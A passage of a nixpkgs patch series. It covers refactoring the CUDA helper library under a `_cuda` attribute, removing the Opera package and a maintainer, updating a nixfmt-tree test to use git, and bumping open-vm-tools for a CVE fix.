@@ -62,7 +62,7 @@
   _mkMetaBroken =
     warn: finalAttrs:
     let
-      failedAssertionsString = cudaLib.utils._mkFailedAssertionsString finalAttrs.passthru.brokenAssertions;
+      failedAssertionsString = _cuda.lib._mkFailedAssertionsString finalAttrs.passthru.brokenAssertions;
       hasFailedAssertions = failedAssertionsString != "";
     in
     lib.warnIf (warn && hasFailedAssertions)
diff --git a/pkgs/development/cuda-modules/lib/utils/redist.nix b/pkgs/development/cuda-modules/_cuda/lib/redist.nix
similarity index 95%
rename from pkgs/development/cuda-modules/lib/utils/redist.nix
rename to pkgs/development/cuda-modules/_cuda/lib/redist.nix
index b9cd2a3b1e0d..a7053dc582c4 100644
--- a/pkgs/development/cuda-modules/lib/utils/redist.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/redist.nix
@@ -1,4 +1,4 @@
-{ cudaLib, lib }:
+{ _cuda, lib }:
 {
   /**
     Returns a boolean indicating whether the provided redist system is supported by any of the provided redist systems.
@@ -27,7 +27,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils._redistSystemIsSupported` usage examples
+    ## `cudaLib._redistSystemIsSupported` usage examples
 
     ```nix
     _redistSystemIsSupported "linux-x86_64" [ "linux-x86_64" ]
@@ -81,7 +81,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.getNixSystems` usage examples
+    ## `cudaLib.getNixSystems` usage examples
 
     ```nix
     getNixSystems "linux-sbsa"
@@ -137,7 +137,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.getRedistSystem` usage examples
+    ## `cudaLib.getRedistSystem` usage examples
 
     ```nix
     getRedistSystem true "aarch64-linux"
@@ -181,7 +181,7 @@
   mkRedistUrl =
     redistName: relativePath:
     lib.concatStringsSep "/" (
-      [ cudaLib.data.redistUrlPrefix ]
+      [ _cuda.db.redistUrlPrefix ]
       ++ (
         if redistName != "tensorrt" then
           [
diff --git a/pkgs/development/cuda-modules/lib/utils/strings.nix b/pkgs/development/cuda-modules/_cuda/lib/strings.nix
similarity index 84%
rename from pkgs/development/cuda-modules/lib/utils/strings.nix
rename to pkgs/development/cuda-modules/_cuda/lib/strings.nix
index 47a71b395f4f..f25157b4da4c 100644
--- a/pkgs/development/cuda-modules/lib/utils/strings.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/strings.nix
@@ -1,4 +1,7 @@
-{ cudaLib, lib }:
+{ _cuda, lib }:
+let
+  cudaLib = _cuda.lib;
+in
 {
   /**
     Replaces dots in a string with underscores.
@@ -18,7 +21,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.dotsToUnderscores` usage examples
+    ## `cudaLib.dotsToUnderscores` usage examples
 
     ```nix
     dotsToUnderscores "1.2.3"
@@ -46,7 +49,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.dropDots` usage examples
+    ## `cudaLib.dropDots` usage examples
 
     ```nix
     dropDots "1.2.3"
@@ -110,7 +113,7 @@
         realArches :: List String
         ```
       */
-      realArches = lib.map cudaLib.utils.mkRealArchitecture cudaCapabilities;
+      realArches = lib.map cudaLib.mkRealArchitecture cudaCapabilities;
 
       /**
         The virtual architectures for the given CUDA capabilities.
@@ -124,7 +127,7 @@
         virtualArches :: List String
         ```
       */
-      virtualArches = lib.map cudaLib.utils.mkVirtualArchitecture cudaCapabilities;
+      virtualArches = lib.map cudaLib.mkVirtualArchitecture cudaCapabilities;
 
       /**
         The gencode flags for the given CUDA capabilities.
@@ -137,8 +140,8 @@
       */
       gencode =
         let
-          base = lib.map (cudaLib.utils.mkGencodeFlag "sm") cudaCapabilities;
-          forward = cudaLib.utils.mkGencodeFlag "compute" (lib.last cudaCapabilities);
+          base = lib.map (cudaLib.mkGencodeFlag "sm") cudaCapabilities;
+          forward = cudaLib.mkGencodeFlag "compute" (lib.last cudaCapabilities);
         in
         base ++ lib.optionals cudaForwardCompat [ forward ];
     in
@@ -190,7 +193,7 @@
         cmakeCudaArchitecturesString :: String
         ```
       */
-      cmakeCudaArchitecturesString = cudaLib.utils.mkCmakeCudaArchitecturesString cudaCapabilities;
+      cmakeCudaArchitecturesString = cudaLib.mkCmakeCudaArchitecturesString cudaCapabilities;
 
       /**
         The gencode string for the given CUDA capabilities.
@@ -222,7 +225,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.mkCmakeCudaArchitecturesString` usage examples
+    ## `cudaLib.mkCmakeCudaArchitecturesString` usage examples
 
     ```nix
     mkCmakeCudaArchitecturesString [ "8.9" "10.0a" ]
@@ -230,7 +233,7 @@
     ```
     :::
   */
-  mkCmakeCudaArchitecturesString = lib.concatMapStringsSep ";" cudaLib.utils.dropDots;
+  mkCmakeCudaArchitecturesString = lib.concatMapStringsSep ";" cudaLib.dropDots;
 
   /**
     Produces a gencode flag from a CUDA capability.
@@ -254,7 +257,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.mkGencodeFlag` usage examples
+    ## `cudaLib.mkGencodeFlag` usage examples
 
     ```nix
     mkGencodeFlag "sm" "8.9"
@@ -270,7 +273,7 @@
   mkGencodeFlag =
     archPrefix: cudaCapability:
     let
-      cap = cudaLib.utils.dropDots cudaCapability;
+      cap = cudaLib.dropDots cudaCapability;
     in
     "-gencode=arch=compute_${cap},code=${archPrefix}_${cap}";
 
@@ -292,7 +295,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.mkRealArchitecture` usage examples
+    ## `cudaLib.mkRealArchitecture` usage examples
 
     ```nix
     mkRealArchitecture "8.9"
@@ -305,7 +308,7 @@
     ```
     :::
   */
-  mkRealArchitecture = cudaCapability: "sm_" + cudaLib.utils.dropDots cudaCapability;
+  mkRealArchitecture = cudaCapability: "sm_" + cudaLib.dropDots cudaCapability;
 
   /**
     Create a versioned attribute name from a version by replacing dots with underscores.
@@ -329,7 +332,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.mkVersionedName` usage examples
+    ## `cudaLib.mkVersionedName` usage examples
 
     ```nix
     mkVersionedName "hello" "1.2.3"
@@ -342,7 +345,7 @@
     ```
     :::
   */
-  mkVersionedName = name: version: "${name}_${cudaLib.utils.dotsToUnderscores version}";
+  mkVersionedName = name: version: "${name}_${cudaLib.dotsToUnderscores version}";
 
   /**
     Produces a virtual architecture string from a CUDA capability.
@@ -362,7 +365,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.mkVirtualArchitecture` usage examples
+    ## `cudaLib.mkVirtualArchitecture` usage examples
 
     ```nix
     mkVirtualArchitecture "8.9"
@@ -375,5 +378,5 @@
     ```
     :::
   */
-  mkVirtualArchitecture = cudaCapability: "compute_" + cudaLib.utils.dropDots cudaCapability;
+  mkVirtualArchitecture = cudaCapability: "compute_" + cudaLib.dropDots cudaCapability;
 }
diff --git a/pkgs/development/cuda-modules/lib/utils/versions.nix b/pkgs/development/cuda-modules/_cuda/lib/versions.nix
similarity index 84%
rename from pkgs/development/cuda-modules/lib/utils/versions.nix
rename to pkgs/development/cuda-modules/_cuda/lib/versions.nix
index 976ad65b2b65..e231f795f13f 100644
--- a/pkgs/development/cuda-modules/lib/utils/versions.nix
+++ b/pkgs/development/cuda-modules/_cuda/lib/versions.nix
@@ -1,4 +1,7 @@
-{ cudaLib, lib }:
+{ _cuda, lib }:
+let
+  cudaLib = _cuda.lib;
+in
 {
   /**
     Extracts the major, minor, and patch version from a string.
@@ -18,7 +21,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.majorMinorPatch` usage examples
+    ## `_cuda.lib.majorMinorPatch` usage examples
 
     ```nix
     majorMinorPatch "11.0.3.4"
@@ -26,7 +29,7 @@
     ```
     :::
   */
-  majorMinorPatch = cudaLib.utils.trimComponents 3;
+  majorMinorPatch = cudaLib.trimComponents 3;
 
   /**
     Get a version string with no more than than the specified number of components.
@@ -48,7 +51,7 @@
     # Examples
 
     :::{.example}
-    ## `cudaLib.utils.trimComponents` usage examples
+    ## `_cuda.lib.trimComponents` usage examples
 
     ```nix
     trimComponents 1 "1.2.3.4"
diff --git a/pkgs/development/cuda-modules/cusparselt/extension.nix b/pkgs/development/cuda-modules/cusparselt/extension.nix
index 56308973c341..f53405e3d099 100644
--- a/pkgs/development/cuda-modules/cusparselt/extension.nix
+++ b/pkgs/development/cuda-modules/cusparselt/extension.nix
@@ -69,7 +69,7 @@ let
   # Patch version changes should not break the build, so we only use major and minor
   # computeName :: RedistribRelease -> String
   computeName =
-    { version, ... }: cudaLib.utils.mkVersionedName redistName (lib.versions.majorMinor version);
+    { version, ... }: cudaLib.mkVersionedName redistName (lib.versions.majorMinor version);
 in
 final: _:
 let
diff --git a/pkgs/development/cuda-modules/cutensor/extension.nix b/pkgs/development/cuda-modules/cutensor/extension.nix
index 5f59cfb15bb6..57de518aa7ac 100644
--- a/pkgs/development/cuda-modules/cutensor/extension.nix
+++ b/pkgs/development/cuda-modules/cutensor/extension.nix
@@ -108,7 +108,7 @@ let
   # Patch version changes should not break the build, so we only use major and minor
   # computeName :: RedistribRelease -> String
   computeName =
-    { version, ... }: cudaLib.utils.mkVersionedName redistName (lib.versions.majorMinor version);
+    { version, ... }: cudaLib.mkVersionedName redistName (lib.versions.majorMinor version);
 in
 final: _:
 let
diff --git a/pkgs/development/cuda-modules/generic-builders/manifest.nix b/pkgs/development/cuda-modules/generic-builders/manifest.nix
index 712db3bd5b99..36872cf9682f 100644
--- a/pkgs/development/cuda-modules/generic-builders/manifest.nix
+++ b/pkgs/development/cuda-modules/generic-builders/manifest.nix
@@ -5,8 +5,7 @@
   autoPatchelfHook,
   backendStdenv,
   callPackage,
-  cudaFixups,
-  cudaLib,
+  _cuda,
   fetchurl,
   lib,
   markForCudatoolkitRootHook,
@@ -45,7 +44,7 @@ let
   # Last step before returning control to `callPackage` (adds the `.override` method)
   # we'll apply (`overrideAttrs`) necessary package-specific "fixup" functions.
   # Order is significant.
-  maybeFixup = cudaFixups.${pname} or null;
+  maybeFixup = _cuda.fixups.${pname} or null;
   fixup = if maybeFixup != null then callPackage maybeFixup { } else { };
 
   # Get the redist systems for which package provides distributables.
@@ -54,9 +53,9 @@ let
   # redistSystem :: String
   # The redistSystem is the name of the system for which the redistributable is built.
   # It is `"unsupported"` if the redistributable is not supported on the target system.
-  redistSystem = cudaLib.utils.getRedistSystem backendStdenv.hasJetsonCudaCapability hostPlatform.system;
+  redistSystem = _cuda.lib.getRedistSystem backendStdenv.hasJetsonCudaCapability hostPlatform.system;
 
-  sourceMatchesHost = lib.elem hostPlatform.system (cudaLib.utils.getNixSystems redistSystem);
+  sourceMatchesHost = lib.elem hostPlatform.system (_cuda.lib.getNixSystems redistSystem);
 in
 (backendStdenv.mkDerivation (finalAttrs: {
   # NOTE: Even though there's no actual buildPhase going on here, the derivations of the
@@ -327,7 +326,7 @@ in
     broken = lists.any trivial.id (attrsets.attrValues finalAttrs.brokenConditions);
     platforms = trivial.pipe supportedRedistSystems [
       # Map each redist system to the equivalent nix systems.
-      (lib.concatMap cudaLib.utils.getNixSystems)
+      (lib.concatMap _cuda.lib.getNixSystems)
       # Take all the unique values.
       lib.unique
       # Sort the list.
diff --git a/pkgs/development/cuda-modules/generic-builders/multiplex.nix b/pkgs/development/cuda-modules/generic-builders/multiplex.nix
index 0a6d101eaf9d..3085ae3e4610 100644
--- a/pkgs/development/cuda-modules/generic-builders/multiplex.nix
+++ b/pkgs/development/cuda-modules/generic-builders/multiplex.nix
@@ -64,8 +64,7 @@ let
   # Compute versioned attribute name to be used in this package set
   # Patch version changes should not break the build, so we only use major and minor
   # computeName :: Package -> String
-  computeName =
-    { version, ... }: cudaLib.utils.mkVersionedName pname (lib.versions.majorMinor version);
+  computeName = { version, ... }: cudaLib.mkVersionedName pname (lib.versions.majorMinor version);
 
   # The newest package for each major-minor version, with newest first.
   # newestPackages :: List Package
diff --git a/pkgs/development/cuda-modules/lib/default.nix b/pkgs/development/cuda-modules/lib/default.nix
deleted file mode 100644
index 6918d9ca5053..000000000000
--- a/pkgs/development/cuda-modules/lib/default.nix
+++ /dev/null
@@ -1,13 +0,0 @@
-let
-  lib = import ../../../../lib;
-in
-lib.fixedPoints.makeExtensible (final: {
-  data = import ./data {
-    inherit lib;
-    cudaLib = final;
-  };
-  utils = import ./utils {
-    inherit lib;
-    cudaLib = final;
-  };
-})
diff --git a/pkgs/development/cuda-modules/packages/backendStdenv.nix b/pkgs/development/cuda-modules/packages/backendStdenv.nix
index ac9a8ebaf44f..7122ad2da319 100644
--- a/pkgs/development/cuda-modules/packages/backendStdenv.nix
+++ b/pkgs/development/cuda-modules/packages/backendStdenv.nix
@@ -7,7 +7,7 @@
 # Cf. https://github.com/NixOS/nixpkgs/pull/218265 for context
 {
   config,
-  cudaLib,
+  _cuda,
   cudaMajorMinorVersion,
   lib,
   pkgs,
@@ -16,8 +16,8 @@
 }:
 let
   inherit (builtins) toJSON;
-  inherit (cudaLib.data) allSortedCudaCapabilities cudaCapabilityToInfo nvccCompatibilities;
-  inherit (cudaLib.utils)
+  inherit (_cuda.db) allSortedCudaCapabilities cudaCapabilityToInfo nvccCompatibilities;
+  inherit (_cuda.lib)
     _cudaCapabilityIsDefault
     _cudaCapabilityIsSupported
     _evaluateAssertions
diff --git a/pkgs/development/cuda-modules/tests/flags.nix b/pkgs/development/cuda-modules/tests/flags.nix
index d9ae72231c6c..314f69d1b90a 100644
--- a/pkgs/development/cuda-modules/tests/flags.nix
+++ b/pkgs/development/cuda-modules/tests/flags.nix
@@ -1,4 +1,5 @@
 {
+  cudaData,
   cudaLib,
   cudaNamePrefix,
   lib,
@@ -6,8 +7,8 @@
 }:
 let
   inherit (builtins) deepSeq toJSON tryEval;
-  inherit (cudaLib.data) cudaCapabilityToInfo;
-  inherit (cudaLib.utils) formatCapabilities;
+  inherit (cudaData) cudaCapabilityToInfo;
+  inherit (cudaLib) formatCapabilities;
   inherit (lib.asserts) assertMsg;
 in
 # When changing names or formats: pause, validate, and update the assert
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 7499ad9b62b1..4a82d04d231e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2723,9 +2723,8 @@ with pkgs;
 
   cron = isc-cron;
 
-  cudaLib = import ../development/cuda-modules/lib;
-
-  cudaFixups = import ../development/cuda-modules/fixups;
+  # Top-level fix-point used in `cudaPackages`' internals
+  _cuda = import ../development/cuda-modules/_cuda;
 
   cudaPackages_11_0 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.0"; };
   cudaPackages_11_1 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.1"; };
diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 5870d383291e..53dd4b6029ea 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -22,7 +22,7 @@
 # I've (@connorbaker) attempted to do that, though I'm unsure of how this will interact with overrides.
 {
   config,
-  cudaLib,
+  _cuda,
   cudaMajorMinorVersion,
   lib,
   newScope,
@@ -38,25 +38,28 @@ let
     versions
     ;
 
+  cudaLib = _cuda.lib;
+
   # Since Jetson capabilities are never built by default, we can check if any of them were requested
   # through final.config.cudaCapabilities and use that to determine if we should change some manifest versions.
   # Copied from backendStdenv.
   jetsonCudaCapabilities = lib.filter (
-    cudaCapability: cudaLib.data.cudaCapabilityToInfo.${cudaCapability}.isJetson
-  ) cudaLib.data.allSortedCudaCapabilities;
+    cudaCapability: _cuda.db.cudaCapabilityToInfo.${cudaCapability}.isJetson
+  ) _cuda.db.allSortedCudaCapabilities;
   hasJetsonCudaCapability =
     lib.intersectLists jetsonCudaCapabilities (config.cudaCapabilities or [ ]) != [ ];
-  redistSystem = cudaLib.utils.getRedistSystem hasJetsonCudaCapability stdenv.hostPlatform.system;
+  redistSystem = _cuda.lib.getRedistSystem hasJetsonCudaCapability stdenv.hostPlatform.system;
 
   passthruFunction = final: {
     # NOTE:
-    # It is important that cudaLib and cudaFixups are not part of the package set fixed-point. As described by
+    # It is important that _cuda is not part of the package set fixed-point. As described by
     # @SomeoneSerge:
     # > The layering should be: configuration -> (identifies/is part of) cudaPackages -> (is built using) cudaLib.
     # > No arrows should point in the reverse directions.
     # That is to say that cudaLib should only know about package sets and configurations, because it implements
     # functionality for interpreting configurations, resolving them against data, and constructing package sets.
     # This decision is driven both by a separation of concerns and by "NAMESET STRICTNESS" (see above).
+    # Also see the comment in `pkgs/top-level/all-packages.nix` about the `_cuda` attribute.
 
     inherit cudaMajorMinorVersion;
 
@@ -77,17 +80,17 @@ let
     };
 
     flags =
-      cudaLib.utils.formatCapabilities {
+      cudaLib.formatCapabilities {
         inherit (final.backendStdenv) cudaCapabilities cudaForwardCompat;
-        inherit (cudaLib.data) cudaCapabilityToInfo;
+        inherit (_cuda.db) cudaCapabilityToInfo;
       }
       # TODO(@connorbaker): Enable the corresponding warnings in `../development/cuda-modules/aliases.nix` after some
       # time to allow users to migrate to cudaLib and backendStdenv.
       // {
-        inherit (cudaLib.utils) dropDots;
+        inherit (cudaLib) dropDots;
         cudaComputeCapabilityToName =
-          cudaCapability: cudaLib.data.cudaCapabilityToInfo.${cudaCapability}.archName;
-        dropDot = cudaLib.utils.dropDots;
+          cudaCapability: _cuda.db.cudaCapabilityToInfo.${cudaCapability}.archName;
+        dropDot = cudaLib.dropDots;
         isJetsonBuild = final.backendStdenv.hasJetsonCudaCapability;
       };
 
diff --git a/pkgs/top-level/release-cuda.nix b/pkgs/top-level/release-cuda.nix
index 4ddda47a766d..6e6e4811604a 100644
--- a/pkgs/top-level/release-cuda.nix
+++ b/pkgs/top-level/release-cuda.nix
@@ -14,7 +14,7 @@
 
 let
   lib = import ../../lib;
-  cudaLib = import ../development/cuda-modules/lib;
+  inherit (import ../development/cuda-modules/_cuda) cudaLib;
 in
 
 {
@@ -27,7 +27,7 @@ in
   # Attributes passed to nixpkgs.
   nixpkgsArgs ? {
     config = {
-      allowUnfreePredicate = cudaLib.utils.allowUnfreeCudaPredicate;
+      allowUnfreePredicate = cudaLib.allowUnfreeCudaPredicate;
       "${variant}Support" = true;
       inHydra = true;
 

From 1a60edba99333821558493d4bd2300c71233b21b Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Mon, 19 May 2025 17:39:11 +0200
Subject: [PATCH 0105/4511] opera: drop

The listed maintainer did not touch nixpkgs for at least 6 months.

The package is only updated from time to time only thanks to
the update bot and drive-by committers. This is not a sustainable
way to maintain a security-critical package.

(cherry picked from commit 0fb43b602638cb757ee366d447895f4ba7313f07)
---
 pkgs/by-name/op/opera/package.nix | 147 ------------------------------
 pkgs/top-level/aliases.nix        |   1 +
 2 files changed, 1 insertion(+), 147 deletions(-)
 delete mode 100644 pkgs/by-name/op/opera/package.nix

diff --git a/pkgs/by-name/op/opera/package.nix b/pkgs/by-name/op/opera/package.nix
deleted file mode 100644
index a18655c63acb..000000000000
--- a/pkgs/by-name/op/opera/package.nix
+++ /dev/null
@@ -1,147 +0,0 @@
-{
-  alsa-lib,
-  atk,
-  cairo,
-  cups,
-  curl,
-  dbus,
-  dpkg,
-  expat,
-  fetchurl,
-  fontconfig,
-  freetype,
-  gdk-pixbuf,
-  glib,
-  gtk3,
-  gtk4,
-  lib,
-  libX11,
-  libxcb,
-  libXScrnSaver,
-  libXcomposite,
-  libXcursor,
-  libXdamage,
-  libXext,
-  libXfixes,
-  libXi,
-  libXrandr,
-  libXrender,
-  libXtst,
-  libdrm,
-  libnotify,
-  libpulseaudio,
-  libuuid,
-  libxshmfence,
-  libgbm,
-  nspr,
-  nss,
-  pango,
-  stdenv,
-  systemd,
-  at-spi2-atk,
-  at-spi2-core,
-  autoPatchelfHook,
-  wrapGAppsHook3,
-  qt6,
-  proprietaryCodecs ? false,
-  vivaldi-ffmpeg-codecs,
-}:
-
-let
-  mirror = "https://get.geo.opera.com/pub/opera/desktop";
-in
-stdenv.mkDerivation rec {
-  pname = "opera";
-  version = "118.0.5461.60";
-
-  src = fetchurl {
-    url = "${mirror}/${version}/linux/${pname}-stable_${version}_amd64.deb";
-    hash = "sha256-SApVqrMeOrpw9GDMwBgpxMfSgMXJS1YV2bPx+KXBY/4=";
-  };
-
-  nativeBuildInputs = [
-    dpkg
-    autoPatchelfHook
-    wrapGAppsHook3
-    qt6.wrapQtAppsHook
-  ];
-
-  buildInputs = [
-    alsa-lib
-    at-spi2-atk
-    at-spi2-core
-    atk
-    cairo
-    cups
-    curl
-    dbus
-    expat
-    fontconfig.lib
-    freetype
-    gdk-pixbuf
-    glib
-    gtk3
-    libX11
-    libXScrnSaver
-    libXcomposite
-    libXcursor
-    libXdamage
-    libXext
-    libXfixes
-    libXi
-    libXrandr
-    libXrender
-    libXtst
-    libdrm
-    libnotify
-    libuuid
-    libxcb
-    libxshmfence
-    libgbm
-    nspr
-    nss
-    pango
-    (lib.getLib stdenv.cc.cc)
-    qt6.qtbase
-  ];
-
-  runtimeDependencies =
-    [
-      # Works fine without this except there is no sound.
-      libpulseaudio.out
-
-      # This is a little tricky. Without it the app starts then crashes. Then it
-      # brings up the crash report, which also crashes. `strace -f` hints at a
-      # missing libudev.so.0.
-      (lib.getLib systemd)
-
-      # Error at startup:
-      # "Illegal instruction (core dumped)"
-      gtk3
-      gtk4
-    ]
-    ++ lib.optionals proprietaryCodecs [
-      vivaldi-ffmpeg-codecs
-    ];
-
-  dontWrapQtApps = true;
-
-  installPhase = ''
-    mkdir -p $out/bin
-    cp -r usr $out
-    cp -r usr/share $out/share
-
-    # we already using QT6, autopatchelf wants to patch this as well
-    rm $out/usr/lib/x86_64-linux-gnu/opera/libqt5_shim.so
-    ln -s $out/usr/bin/opera $out/bin/opera
-  '';
-
-  meta = with lib; {
-    homepage = "https://www.opera.com";
-    description = "Faster, safer and smarter web browser";
-    platforms = [ "x86_64-linux" ];
-    license = licenses.unfree;
-    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    maintainers = with maintainers; [ kindrowboat ];
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index ce503e53594d..cde5425e3718 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1409,6 +1409,7 @@ mapAliases {
   opensycl = lib.warnOnInstantiate "'opensycl' has been renamed to 'adaptivecpp'" adaptivecpp; # Added 2024-12-04
   opensyclWithRocm = lib.warnOnInstantiate "'opensyclWithRocm' has been renamed to 'adaptivecppWithRocm'" adaptivecppWithRocm; # Added 2024-12-04
   openvdb_11 = throw "'openvdb_11' has been removed in favor of the latest version'"; # Added 2025-05-03
+  opera = throw "'opera' has been removed due to lack of maintenance in nixpkgs"; # Added 2025-05-19
   orchis = throw "'orchis' has been renamed to/replaced by 'orchis-theme'"; # Converted to throw 2024-10-17
   omping = throw "'omping' has been removed because its upstream has been archived"; # Added 2025-05-10
   onlyoffice-bin = onlyoffice-desktopeditors; # Added 2024-09-20

From a5185d522a6d035ad9326ce809f79d8f241da0fa Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Mon, 19 May 2025 17:40:43 +0200
Subject: [PATCH 0106/4511] maintainers: remove kindrowboat

No recent activities in nixpkgs and no maintained package
anymore.

(cherry picked from commit 64a34904facd0044766360c6ad75f5bea0c2c021)
---
 maintainers/maintainer-list.nix | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index fcf98f300691..6666b9f6938b 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -12978,12 +12978,6 @@
     githubId = 843652;
     name = "Kim Burgess";
   };
-  kindrowboat = {
-    email = "hello@kindrobot.ca";
-    github = "kindrowboat";
-    githubId = 777773;
-    name = "Stef Dunlap";
-  };
   kini = {
     email = "keshav.kini@gmail.com";
     github = "kini";

From 3adf18d197be9dcef5725f6e5b4b94c3f64134a4 Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Fri, 16 May 2025 18:38:29 +0100
Subject: [PATCH 0107/4511] nixfmt-tree: remove `tree-root-file` default

This isn't needed since treefmt 2.3.1, as it can now determine the tree
root by asking `git`.

(cherry picked from commit a371ed99e11d8afe5c144a5182af04120ed65a61)
---
 pkgs/by-name/ni/nixfmt-tree/package.nix | 98 ++++++++++++++-----------
 1 file changed, 54 insertions(+), 44 deletions(-)

diff --git a/pkgs/by-name/ni/nixfmt-tree/package.nix b/pkgs/by-name/ni/nixfmt-tree/package.nix
index 08a17f465649..8b3e262e5c33 100644
--- a/pkgs/by-name/ni/nixfmt-tree/package.nix
+++ b/pkgs/by-name/ni/nixfmt-tree/package.nix
@@ -4,6 +4,8 @@
   treefmt,
   nixfmt-rfc-style,
   nixfmt-tree,
+  git,
+  writableTmpDirAsHomeHook,
 
   settings ? { },
   runtimeInputs ? [ ],
@@ -30,9 +32,6 @@ let
         # The default is warn, which would be too annoying for people who just care about Nix
         on-unmatched = lib.mkOptionDefault "info";
 
-        # Assume the tree is a Git repository, will fail if it's not
-        tree-root-file = lib.mkOptionDefault ".git/index";
-
         # NOTE: The `mkIf` condition should not be needed once `runtimePackages` is removed.
         formatter.nixfmt = lib.mkIf (lib.any isNixfmt allRuntimeInputs) {
           command = "nixfmt";
@@ -102,9 +101,6 @@ treefmtWithConfig.overrideAttrs {
           # Log level for files treefmt won't format
           on-unmatched = "info";
 
-          # Assume the tree is a Git repository, will fail if it's not
-          tree-root-file = ".git/index";
-
           # Configure nixfmt for .nix files
           formatter.nixfmt = {
             command = "nixfmt";
@@ -122,49 +118,63 @@ treefmtWithConfig.overrideAttrs {
     platforms = lib.platforms.all;
   };
 
-  passthru.tests.simple = runCommand "nixfmt-tree-test-simple" { } ''
-    export XDG_CACHE_HOME=$(mktemp -d)
-    cat > unformatted.nix <<EOF
-    let to = "be formatted"; in to
-    EOF
+  passthru.tests.simple =
+    runCommand "nixfmt-tree-test-simple"
+      {
+        nativeBuildInputs = [
+          git
+          nixfmt-tree
+          writableTmpDirAsHomeHook
+        ];
+      }
+      ''
+        git config --global user.email "nix-builder@nixos.org"
+        git config --global user.name "Nix Builder"
 
-    cat > formatted.nix <<EOF
-    let
-      to = "be formatted";
-    in
-    to
-    EOF
+        cat > unformatted.nix <<EOF
+        let to = "be formatted"; in to
+        EOF
 
-    mkdir -p repo
-    (
-      cd repo
-      mkdir .git dir
-      touch .git/index
-      cp ../unformatted.nix a.nix
-      cp ../unformatted.nix dir/b.nix
+        cat > formatted.nix <<EOF
+        let
+          to = "be formatted";
+        in
+        to
+        EOF
 
-      ${lib.getExe nixfmt-tree} dir
-      if [[ "$(<dir/b.nix)" != "$(<../formatted.nix)" ]]; then
-        echo "File dir/b.nix was not formatted properly after dir was requested to be formatted"
-        exit 1
-      elif [[ "$(<a.nix)" != "$(<../unformatted.nix)" ]]; then
-        echo "File a.nix was formatted when only dir was requested to be formatted"
-        exit 1
-      fi
+        mkdir -p repo
+        (
+          cd repo
+          mkdir dir
+          cp ../unformatted.nix a.nix
+          cp ../unformatted.nix dir/b.nix
 
-      (
-        cd dir
-        ${lib.getExe nixfmt-tree}
-      )
+          git init
+          git add .
+          git commit -m "Initial commit"
 
-      if [[ "$(<a.nix)" != "$(<../formatted.nix)" ]]; then
-        echo "File a.nix was not formatted properly after running treefmt without arguments in dir"
-        exit 1
-      fi
-    )
+          treefmt dir
+          if [[ "$(<dir/b.nix)" != "$(<../formatted.nix)" ]]; then
+            echo "File dir/b.nix was not formatted properly after dir was requested to be formatted"
+            exit 1
+          elif [[ "$(<a.nix)" != "$(<../unformatted.nix)" ]]; then
+            echo "File a.nix was formatted when only dir was requested to be formatted"
+            exit 1
+          fi
 
-    echo "Success!"
+          (
+            cd dir
+            treefmt
+          )
 
-    touch $out
-  '';
+          if [[ "$(<a.nix)" != "$(<../formatted.nix)" ]]; then
+            echo "File a.nix was not formatted properly after running treefmt without arguments in dir"
+            exit 1
+          fi
+        )
+
+        echo "Success!"
+
+        touch $out
+      '';
 }

From c621fd3f9d3bb6120db1c2a60b58b72b4fec9035 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 15 May 2025 12:57:32 +0200
Subject: [PATCH 0108/4511] open-vm-tools: 12.5.0 -> 12.5.2

Fixes CVE-2025-22247.

https://github.com/vmware/open-vm-tools/releases/tag/stable-12.5.2
(cherry picked from commit 9d80569f4671b4e2dcd199983fe1a98d34ac6eb6)
---
 pkgs/by-name/op/open-vm-tools/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/open-vm-tools/package.nix b/pkgs/by-name/op/open-vm-tools/package.nix
index aa5290520a8c..b24a8459b35b 100644
--- a/pkgs/by-name/op/open-vm-tools/package.nix
+++ b/pkgs/by-name/op/open-vm-tools/package.nix
@@ -51,13 +51,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "open-vm-tools";
-  version = "12.5.0";
+  version = "12.5.2";
 
   src = fetchFromGitHub {
     owner = "vmware";
     repo = "open-vm-tools";
-    rev = "stable-${finalAttrs.version}";
-    hash = "sha256-pjMXhVN4xdmPCk1Aeb83VZjDJ1t1mb9wryC6h3O+Qvc=";
+    tag = "stable-${finalAttrs.version}";
+    hash = "sha256-gKtPyLsmTrbA3aG/Jiod/oAl5aMpVm3enuCe+b7jsY4=";
   };
 
   sourceRoot = "${finalAttrs.src.name}/open-vm-tools";

From bc993cda699a5ea8c28a3ab0128c14c7dcf94f5d Mon Sep 17 00:00:00 2001
